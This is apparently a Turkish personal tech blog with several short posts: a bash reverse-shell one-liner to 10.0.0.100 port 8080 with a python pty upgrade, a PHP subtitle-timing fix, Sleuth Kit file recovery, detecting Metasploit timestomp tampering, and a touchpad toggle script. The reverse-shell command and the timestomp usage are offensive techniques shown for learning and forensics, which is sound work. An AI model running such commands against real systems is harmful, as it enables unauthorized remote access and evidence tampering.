25 Kasım 2015 Çarşamba

Bash Reverse Shell ile Terminal Almak

Bash ile reverse shell almak için aşağıdaki komut kulanılabilir. Bu komut 10.0.0.100 IP adresinin 8080 portuna bağlantı sağlayacak ve bash kabuğunun kullanılmasına izin verecektir.

/bin/bash -c '/bin/bash -i >& /dev/tcp/10.0.0.100/8080 0>&1' > /dev/null

Elde edilen bu komut satırı gerçek bir terminal gibi davranmadığından interafktif işlemlerde aşağıdaki gibi "Pseudo-terminal will not be allocated because stdin is not a terminal." hatası verecekir.

gondor ~ # ssh root@192.168.100.100
ssh root@192.168.100.100
Pseudo-terminal will not be allocated because stdin is not a terminal.

Bu durumda python pty.spawn ile gerçek bir terminal başlatmayı deneyebiliriz. Bunun için aşağıdaki gibi bir komut vermek yeterli olacaktır.

/usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'


22 Kasım 2015 Pazar

PHP ile Altyazı Dosyalarını Düzenlemek ve Senkron Kaymasını Çözmek

Altyazılı film izlerken en çok can sıkan meselelerden birisi altyazıda senkron kayması olması ve altyazıların konuşmalardan farklı zamanlarda gelmesidir. Bu sorun video oynatıcı üzerinden ayarlama yapılarak giderilebilir ancak bazen bu mümkün olmaz...

Yine böyle bir durumda altyazı ve konuşmalar arasındaki farkın yaklaşık 30 sn olduğu bir durumda altyazı dosyasını düzenleyerek tüm zamanları 30 sn kaydırmayı ve senkronu sağlamayı düşündüm. Elimdeki altyazı dosyası aşağıdaki formattaydı...

1
00:01:49,067 --> 00:01:52,064
Ne zaman karşılıklı yarışacağız?

2
00:01:54,562 --> 00:01:57,259
Gunma'daki tüm sürücüler
yenildikten sonra,
 
Bu dosyayı okuyup zamanların üzerine 30sn ekleyecek ve çıktıyı ekrana basacak bir PHP betiği yazmaya karar verdim ve apartopar aşağıdaki kodları yazdım ve yeni altyazı dosyası oluşturdum... :)

 <?php
$file="x.srt"; #Okunacak altyazı dosyası

$f=file_get_contents($file);
$f2=(explode("\n", $f));

foreach($f2 as $l){
    $l = trim($l);
    if(preg_match("/^[0-9]{2}:[0-9]{2}:[0-9]{2},[0-9]{3} --> [0-9]{2}:[0-9]{2}:[0-9]{2},[0-9]{3}/",$l)){
            list($t1,$tmp,$t2)=explode(" ",$l);
            list($saat1,$kuyruk1)=explode(",",$t1);
            list($saat2,$kuyruk2)=explode(",",$t2);
            $q = strtotime("$saat1")+30; #30 sn ekleyelim...
            $ysaat = date('H:i:s', $q) .",$kuyruk1";
            $q2 = strtotime("$saat2")+30; #30 sn ekleyelim...
            $ysaat2 = date('H:i:s', $q2) .",$kuyruk2";
            echo "$ysaat --> $ysaat2\n";
    }else{
        echo "$l\n";   
    }
}
?>

Daha sonra bu betiği altyazı.php adıyla kayıt edip aşağıdaki gibi çalıştırarak yeni altyazı dosyamı elde ettim...

harun@gondor ~ $ php -f altyazi.php > yeni.srt

Yeni dosyamın içeriği aşağıdaki gibi oldu ve senkron sorunum ortadan kalktı... :)

1
00:02:21,067 --> 00:02:24,064
Ne zaman karşılıklı yarışacağız?

2
00:02:26,562 --> 00:02:29,259
Gunma'daki tüm sürücüler
yenildikten sonra,

Bunu yapmanın muhakkak daha iyi bir yolu vardır. Ancak ben aklıma ilk gelen hızlı ve kirli çözümle film keyfine gölge düşürecek bir altyazı sorununu çözmüş oldum... Daha sonra yine lazım olduğunda bulabileyim diye kodları buraya not alıyorum... :)



15 Kasım 2015 Pazar

The Sleuth Kit (TSK) ile Silinen Dosyaları Kurtarmak

The Sleuth Kit (TSK) araçlarını kullanarak silinen bir dosyayı nasıl elde elebileceğimizi en yalın haliyle örneklemeye çalışalım...

Öncelikle Windows 7 üzerinde komut satırına geçip aşağıdaki gibi bir komutla onemli.txt dosyasını oluşturalım.
C:\>echo "Onemli Veriler" > onemli.txt

Dosyamızın oluştuğunu doğrulamak için type komutu ile içine bakalım ve önemli verilerimizin yerinde durduğunu görelim :)
C:\>type onemli.txt
"Onemli Veriler"

Şimdi onemli.txt dosyasını kazara siliyoruz :)

C:\>del onemli.txt

Şimdi de dosyamızın silindiğini doğrulayalım...
C:\>type onemli.txt
Sistem belirtilen dosyayı bulamıyor. 

Hemen dir komutu verelim ve dosya listesini alalım...

C:\>dir
 C sürücüsündeki birimin etiketi yok.
 Birim Seri Numarası: C038-BD41

 C:\ dizini

10.06.2009  23:42                24 autoexec.bat
10.06.2009  23:42                10 config.sys
14.07.2009  04:37    <DIR>          PerfLogs
13.11.2015  13:43    <DIR>          Program Files
02.11.2015  17:33    <DIR>          tsk
13.10.2015  22:22    <DIR>          Users
15.11.2015  17:49    <DIR>          Windows
               2 Dosya               34 bayt
               5 Dizin    4.504.195.072 bayt boş


Görüldüğü gibi dosyamız silinmiş durumda! Onermi Verilerimizi kaybetmiş durumdayız... :)Artık TSK araçlarını kullanarak neler yapabiliriz bir bakalım..

Öncelikle C: sürücündeki dosyaları listelemek için fls aracını kullanalım...
C:\>fls \\.\c:
r/r 4-128-4:    $AttrDef
r/r 8-128-2:    $BadClus
.....
r/r 9759-128-1: autoexec.bat
r/r 9762-128-1: config.sys
d/d 9764-144-1: Documents and Settings
d/d 16566-144-1:MSOCache
r/r 43548-128-1:pagefile.sys
d/d 58-144-1:   PerfLogs
d/d 60-144-6:   Program Files
d/d 261-144-6:  ProgramData
d/d 16827-144-1:Recovery
d/d 11291-144-6:System Volume Information
d/d 54841-144-5:tsk
d/d 357-144-5:  Users
d/d 517-144-5:  Windows
-/r * 55019-128-1:onemli.txt
d/d 61696:      $OrphanFiles 


Yukarıdaki çıktıyı incelediğimzide silinmiş olan onemli.txt dosyasına ait kaydın  55019-128-1 numaralı MFT kaydında olduğunu görüyoruz...

Bu kaydın gösteridiği dosya içeriğini elde etmek için icat komutunu kullanalım...

C:\>icat \\.\c:  55019
"Onemli Veriler"

Görüldüğü gibi "Onemi Veriler"i elde etmeyi başardık... :)

Timestomp ile Zaman Bilgisi Değiştirilen Dosyaların Tespit Edilmesi

Dosya ile ilgili oluşturulma, değiştirilme ve son erişim tarihlerini tutan veriler; "dosya adı" veya "MFT kayıt numarası" gibi "essentials" yani olmazsa olmaz veriler değildirler. Bu nedenle değiştirilmeleri işlevsel olarak bir sorun teşkil etmez...

Metasploit içerisinde gelen timestomp aracı ile NTFS dosya sistemi üzerindeki dosyaların zaman bilgileri değiştirilebiliyor. Bu durumda dosya özelliklerine bakıldığında dosyanın oluşturma, değiştirme ve son erişim tarihleri olması gerekenden farklı şekilde görüntüleniyor.

Dosyanın zaman bilgilerinde bir değişiklik yapılıp yapılmadığını görmek için The Sleuth Kit araçlarını kullanabiliriz...

NTFS dosya sistemi üzerinde c:\test.txt dosyası bizim kobay dosyamız. C: sürücünde dir komutunu vererek dosyaları listeleyelim...

C:\>dir
 C sürücüsündeki birimin etiketi yok.
 Birim Seri Numarası: C038-BD41

 C:\ dizini

10.06.2009  23:42                24 autoexec.bat
10.06.2009  23:42                10 config.sys
14.07.2009  04:37    <DIR>          PerfLogs
13.11.2015  13:43    <DIR>          Program Files
15.11.2015  17:50                14 test.txt
13.10.2015  22:22    <DIR>          Users
15.11.2015  17:49    <DIR>          Windows
               3 Dosya               48 bayt
               5 Dizin    4.504.195.072 bayt boş


Yukarıdaki çıktıda görüleceği üzere dosyanın zaman bilgisi 15.11.2015 17:50 olarak görünüyor. Biraz daha detaylı bakmak için tsk araçlarını kullanalım. Öncelikle dosyanın MFT kaydını bulmak için C: sürücündeki dosyaları fls komutu ile listeleyelim...

C:\>fls \\.\c:
r/r 4-128-4:    $AttrDef
r/r 8-128-2:    $BadClus
r/r 8-128-1:    $BadClus:$Bad
....
d/d 261-144-6:  ProgramData
d/d 16827-144-1:Recovery
d/d 11291-144-6:System Volume Information
r/r 51165-128-1:test.txt
d/d 357-144-5:  Users
d/d 517-144-5:  Windows
d/d 61696:      $OrphanFiles

Yukarıdaki çıktıda görüldüğü üzere test.txt dosyası 51165-128-1 numaralı MFT kaydı tarafından gösterilmekte. Şimdi bu kayıt numarasını ve istat komutunu kullanarak dosyanın detaylarını görelim...

C:\>istat \\.\c:  51165-128-1
MFT Entry Header Values:
Entry: 51165        Sequence: 5
$LogFile Sequence Number: 371519735
Allocated File
Links: 1

$STANDARD_INFORMATION Attribute Values:
Flags: Archive
Owner ID: 0
Security ID: 891  (S-1-5-32-544)
Last User Journal Update Sequence Number: 62453296
Created:        2015-11-15 17:50:17.741514900 (GTB Standart Saati)
File Modified:  2015-11-15 17:50:18.147115700 (GTB Standart Saati)
MFT Modified:   2015-11-15 17:50:18.147115700 (GTB Standart Saati)
Accessed:       2015-11-15 17:50:17.741514900 (GTB Standart Saati)

$FILE_NAME Attribute Values:
Flags: Archive
Name: test.txt
Parent MFT Entry: 5     Sequence: 5
Allocated Size: 0       Actual Size: 0
Created:        2015-11-15 17:50:17.741514900 (GTB Standart Saati)
File Modified:  2015-11-15 17:50:17.741514900 (GTB Standart Saati)
MFT Modified:   2015-11-15 17:50:17.741514900 (GTB Standart Saati)
Accessed:       2015-11-15 17:50:17.741514900 (GTB Standart Saati)

Attributes:
Type: $STANDARD_INFORMATION (16-0)   Name: N/A   Resident   size: 72
Type: $FILE_NAME (48-2)   Name: N/A   Resident   size: 82
Type: $DATA (128-1)   Name: N/A   Resident   size: 14

Yukarıdaki çıktıdan görüleceği üzere dosyaya ait zaman bilgileri $STANDARD_INFORMATION ve $FILE_NAME özellikleri içerisinde tutulmakta...

Şimdi meterpreter timestomp modülü ile dosyamızın zaman bilgilerini 11/11/2011 11:11:11 olarak değiştirelim...

meterpreter > timestomp  -z "11/11/2011 11:11:11" c:\\test.txt
11/11/2011 11:11:11
[*] Setting specific MACE attributes on c:\test.txt

Şimdi dir komutu ile dosyanın zaman bigileri değişmiş mi bir bakalım?...

C:\>dir
 C sürücüsündeki birimin etiketi yok.
 Birim Seri Numarası: C038-BD41

 C:\ dizini

10.06.2009  23:42                24 autoexec.bat
10.06.2009  23:42                10 config.sys
14.07.2009  04:37    <DIR>          PerfLogs
13.11.2015  13:43    <DIR>          Program Files
11.11.2011  11:11                14 test.txt
02.11.2015  17:33    <DIR>          tsk
13.10.2015  22:22    <DIR>          Users
15.11.2015  17:49    <DIR>          Windows
               3 Dosya               48 bayt
               5 Dizin    4.504.195.072 bayt boş

Çıktıda görüleceği üzere sistemimiz bu dosyanın 11.11.2011 11:11 tarihinden kalma olduğunu düşünüyor.



Şimdi bir kez daha istat komutu ile dosyaya ait MFT kaydını inceleyelim...

C:\>istat \\.\c:  51165-128-1
MFT Entry Header Values:
Entry: 51165        Sequence: 5
$LogFile Sequence Number: 371553895
Allocated File
Links: 1

$STANDARD_INFORMATION Attribute Values:
Flags: Archive
Owner ID: 0
Security ID: 891  (S-1-5-32-544)
Last User Journal Update Sequence Number: 62470080
Created:        2011-11-11 11:11:11.000000000 (GTB Standart Saati)
File Modified:  2011-11-11 11:11:11.000000000 (GTB Standart Saati)
MFT Modified:   2011-11-11 11:11:11.000000000 (GTB Standart Saati)
Accessed:       2011-11-11 11:11:11.000000000 (GTB Standart Saati)

$FILE_NAME Attribute Values:
Flags: Archive
Name: test.txt
Parent MFT Entry: 5     Sequence: 5
Allocated Size: 0       Actual Size: 0
Created:        2015-11-15 17:50:17.741514900 (GTB Standart Saati)
File Modified:  2015-11-15 17:50:17.741514900 (GTB Standart Saati)
MFT Modified:   2015-11-15 17:50:17.741514900 (GTB Standart Saati)
Accessed:       2015-11-15 17:50:17.741514900 (GTB Standart Saati)

Attributes:
Type: $STANDARD_INFORMATION (16-0)   Name: N/A   Resident   size: 72
Type: $FILE_NAME (48-2)   Name: N/A   Resident   size: 82
Type: $DATA (128-1)   Name: N/A   Resident   size: 14 

Çıktıdan görüleceği üzere $STANDARD_INFORMATION alanındak zaman bilgileri değiştirilmiş. Ancak $FILE_NAME alanındaki zaman bilgileri doğru olarak görünme devam etmekte. Sistem kullanıcılara dosya zaman bilgilerini gösterirken $STANDARD_INFORMATION alanını kullandığı için biz faniler dosyanın eski bir dosya olduğunu düşünüyoruz. Ancak TSK araçları kullanılarak inceleme yaptığımızda $STANDARD_INFORMATION ve $FILE_NAME bilgilerinin farklı olduğunu görüyoruz. Bu durumda dosyanın zaman bilgilerinin değiştirildiğini düşünebiliriz...

14 Kasım 2015 Cumartesi

Linux Mint Rebecca 17.1 ve Asus N550 Touchpad Problemi

Asus N550 üzerinde Linux Mint Rebecca 17.1 kullanırken toucpadi kapatmak istediğiniz durumlarda aşağıdaki gibi betik yazabilir ve bu betiğe klavye kısayol tuşu atayarak kullanabilirsiniz.

#!/bin/bash

declare -i ID
ID=15
declare -i STATE
STATE=`xinput list-props $ID|grep 'Device Enabled'|awk '{print $4}'`
if [ $STATE -eq 1 ]
then
    xinput disable $ID
    echo "Touchpad disabled."
else
    xinput enable $ID
    echo "Touchpad enabled."
fi

Yukarıdaki betikde ID alanı devre dışı bırakılacak aygıtın ID numarasını göstermektedir. Hangi aygıtın hangi ID numarasına sahip olduğunu görmek için xinput komutunu verebilirsiniz.

harun@gondor ~ $ xinput 
⎡ Virtual core pointer                     id=2 [master pointer  (3)]
⎜   ↳ Virtual core XTEST pointer               id=4 [slave  pointer  (2)]
⎜   ↳ Logitech USB Receiver                    id=10 [slave  pointer  (2)]
⎜   ↳ Logitech USB Receiver                    id=11 [slave  pointer  (2)]
⎜   ↳ ETPS/2 Elantech Touchpad                 id=15 [slave  pointer  (2)]
⎣ Virtual core keyboard                    id=3 [master keyboard (2)]
    ↳ Virtual core XTEST keyboard              id=5 [slave  keyboard (3)]
    ↳ Power Button                             id=6 [slave  keyboard (3)]
    ↳ Video Bus                                id=7 [slave  keyboard (3)]
    ↳ Video Bus                                id=8 [slave  keyboard (3)]
    ↳ Sleep Button                             id=9 [slave  keyboard (3)]
    ↳ USB2.0 UVC HD Webcam                     id=12 [slave  keyboard (3)]
    ↳ Asus WMI hotkeys                         id=13 [slave  keyboard (3)]
    ↳ AT Translated Set 2 keyboard             id=14 [slave  keyboard (3)]


Görüldüğü gibi Touchpad için ID değeri 15 olarak görünüyor. Ben Betikteki ID değişkenini 15 olarak kullandım. Eğer sizde farklı bir ID değeri varsa betikte tanımlı olan ID değerini xinput çıktısına uygun bir şekilde değiştirmeniz gerekir....